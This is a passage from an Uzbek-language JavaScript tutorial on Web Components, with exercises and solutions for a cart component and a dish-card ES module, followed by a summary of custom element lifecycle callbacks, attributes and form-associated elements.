  customElements.define("portion-picker", PortionPicker);

  document.addEventListener("portion-change", (event) => {
    console.log(`Porsiya: ${event.detail.count}`);
  });
</script>

«+» ni ikki marta, «−» ni bir marta bossangiz, konsolda Porsiya: 2, Porsiya: 3, Porsiya: 2 chiqadi (biz bosib tekshirdik). Son 1 da turganda «−» bosilsa — hech narsa chiqmaydi: next === this.#count sharti behuda hodisani to'xtatadi. Bu yerda innerHTML xavfsiz — matn to'liq bizniki. Atribut aria-live="polite" tufayli Malika son o'zgarganini eshitadi.

3-mashq (qiyin): Savat komponenti

<bahor-cart> komponentini yozing. U o'z ichidagi <dish-card> lardan keladigan add-to-cart hodisasini tinglasin va pastida jami summani ko'rsatsin: Jami: 65 000 so'm. «Bahor» kartasining kodini o'zgartirmang — faqat ko'chirib oling.

Ishora: savat kartalarni slot orqali oladi (<slot></slot>), hodisani this da tinglaydi — u ichkaridan ko'tarilib keladi. Jami summani shadow ichidagi <p> ga yozing. Konsolga har qo'shishda jamini chiqaring.

Yechim

Faqat yangi qism (yuqoridagi template, formatPrice va DishCard klassi o'zgarishsiz, ulardan keyin qo'yiladi):

js
class BahorCart extends HTMLElement {
  #total = 0;

  constructor() {
    super();
    const root = this.attachShadow({ mode: "open" });
    root.innerHTML = `<slot></slot><p class="total">Jami: 0 so'm</p>`;
    this.addEventListener("add-to-cart", (event) => {
      this.#total += event.detail.price;
      const text = `Jami: ${formatPrice(this.#total)}`;
      root.querySelector(".total").textContent = text;
      console.log(text);
    });
  }
}
customElements.define("bahor-cart", BahorCart);

HTML:

html
<bahor-cart>
  <dish-card name="Osh" price="35000"></dish-card>
  <dish-card name="Manti" price="30000"></dish-card>
</bahor-cart>

Osh va Manti tugmalari bosilganda konsolda Jami: 35 000 so'm, keyin Jami: 65 000 so'm. Tinglovchi this ga konstruktorda qo'shildi: u elementning o'zida, tashqi obyektda emas — shuning uchun disconnectedCallback da tozalash shart emas. Hodisa karta (dish-card) dan chiqib, light DOM bo'ylab savatga ko'tariladi. Bu yerda composed ham shart emas edi, lekin karta boshqa komponentning shadow ichiga qo'yilsa, aynan u kerak bo'ladi.

4-mashq: Amaliy tajriba — <dish-card> modul bo'lib

kurs/mashqlar/13/25-dish-card/ papkasini yarating. Komponentni alohida ES modul faylga ajrating: dish-card.js (template, formatPrice, klass va define). index.html uni <script type="module" src="dish-card.js"> bilan ulasin va uchta karta ko'rsatsin. Live Server bilan oching.

Tekshiring: DevTools konsolida $0.price = 40000 (Elements'da kartani tanlab) — «Atributlar va xususiyatlar» bo'limidagi getter/setter'ni klassga qo'shgan bo'lsangiz, narx yangilanadi.

Yechim

dish-card.js — «To'liq komponent» bo'limidagi template, formatPrice va DishCard klassi, oxirida customElements.define(...), qo'shimcha ravishda price getter/setter. index.html:

html
<!doctype html>
<html lang="uz">
<head>
  <meta charset="utf-8">
  <title>«Bahor» menyusi</title>
  <script type="module" src="dish-card.js"></script>
</head>
<body>
  <dish-card name="Osh" price="35000">Guruch, sabzi.</dish-card>
  <dish-card name="Manti" price="30000">Qovoqli.</dish-card>
  <dish-card name="Lag'mon" price="28000" sold-out></dish-card>
</body>
</html>

Modul skript defer kabi ishlaydi: HTML to'liq o'qilgandan keyin bajariladi. Shu paytgacha kartalar ro'yxatdan o'tmagan holatda turadi, keyin upgrade qilinadi. Faylni bitta qator bilan istalgan sahifaga ulash mumkin — komponentning asosiy kuchi shu.

bash
git add 13/25-dish-card
git commit -m "13/25: dish-card komponenti alohida modulda"

14. Real ishda

  • Dizayn tizimlari. Material Web, Spectrum Web Components, Web Awesome komponentlari aynan shu API bilan yozilgan: HTMLElement klassi, kuzatilgan atributlar, CustomEvent. Hujjatlarida "Attributes", "Properties", "Events", "Slots" bo'limlarini ko'rasiz — endi ular nimaligini bilasiz.
  • Forma vidjetlari. Sana tanlagich, reyting, rang tanlagich — formAssociated bilan oddiy <form> ichida ishlaydi.
  • Mikrofrontendlar. Katta kompaniyalarda turli jamoalar sahifaning turli qismini turli texnologiyada yozadi va custom element sifatida birlashtiradi.
  • Intervyu. "Custom element'ning hayot sikli callback'larini ayting", "attributeChangedCallback nega chaqirilmayapti?", "Komponent tashqariga qanday xabar beradi?", "composed nima?" — tez-tez so'raladi.

Xulosa

  • Custom element — HTMLElement dan meros olgan klass, customElements.define("nom-bilan-defis", Klass).
  • Konstruktor: super() birinchi, elementning atribut va farzandlariga tegmaslik, Shadow DOM yaratish mumkin.
  • Hayot sikli: constructor → (attributeChangedCallback) → connectedCallback; olib tashlansa — disconnectedCallback. Ko'chirish — ikkalasi.
  • observedAttributes — faqat shu atributlar kuzatiladi. Getter/setter bilan xususiyatni atributga "aks ettiring".
  • Komponent kiruvchi ma'lumotni atribut va xususiyatdan oladi, tashqariga CustomEvent (bubbles, composed) bilan gapiradi.
  • formAssociated + attachInternals() — element haqiqiy forma maydoniga aylanadi. Foydalanuvchi ma'lumoti — faqat textContent.

Keyingi dars: Shadow DOM va web komponentlarni stillash — :host, ::slotted(), ::part() va CSS o'zgaruvchilari: yopiq komponentni tashqaridan qanday qilib to'g'ri "bo'yash" mumkin.

Manbalar

  • HTML Living Standard: "Custom elements" (hayot sikli, ElementInternals, formAssociated) — html.spec.whatwg.org
  • MDN: "Using custom elements", ElementInternals, Element.moveBefore() — developer.mozilla.org
  • web.dev: "Custom elements best practices", "More capable form controls" — web.dev
  • web-features 3.40: autonomous-custom-elements, form-associated-custom-elements, move-before, scoped-custom-element-registries — github.com/web-platform-dx/web-features
Ulashish:Telegram'da

Izohlar (0)

Izoh yozish uchun kiring.

  • Hozircha izoh yo'q. Birinchi bo'ling!
Web Components JavaScript'da: custom element klassi, hayot sikli va atributlar — IlmHamroh